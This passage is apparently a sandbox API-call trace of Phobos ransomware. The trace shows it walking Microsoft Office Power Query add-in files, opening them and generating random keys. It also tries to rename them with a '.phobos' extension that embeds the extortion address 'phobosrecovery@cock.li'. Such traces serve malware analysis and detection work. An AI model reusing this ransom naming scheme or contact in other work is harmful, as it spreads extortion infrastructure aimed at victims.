"c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.273] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.275] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=207528) returned 1 [0155.275] CloseHandle (hObject=0x254) returned 1 [0155.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.275] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.277] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=569408) returned 1 [0155.277] CloseHandle (hObject=0x254) returned 1 [0155.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.277] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.282] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.282] CloseHandle (hObject=0x254) returned 1 [0155.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.282] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.284] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=158376) returned 1 [0155.284] CloseHandle (hObject=0x254) returned 1 [0155.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.286] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=204864) returned 1 [0155.286] CloseHandle (hObject=0x254) returned 1 [0155.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.286] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.287] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=569408) returned 1 [0155.287] CloseHandle (hObject=0x254) returned 1 [0155.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.288] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.289] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.289] CloseHandle (hObject=0x254) returned 1 [0155.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.290] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.293] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168000) returned 1 [0155.293] CloseHandle (hObject=0x574) returned 1 [0155.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.293] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.296] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=211624) returned 1 [0155.296] CloseHandle (hObject=0x254) returned 1 [0155.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.298] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=593984) returned 1 [0155.298] CloseHandle (hObject=0x254) returned 1 [0155.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.298] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.299] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5234768) returned 1 [0155.299] CloseHandle (hObject=0x254) returned 1 [0155.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll")) returned 0x220 [0155.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\documentformat.openxml.dll")) returned 0 [0155.299] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.592] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77888) returned 1 [0155.592] CloseHandle (hObject=0x250) returned 1 [0155.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.593] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, 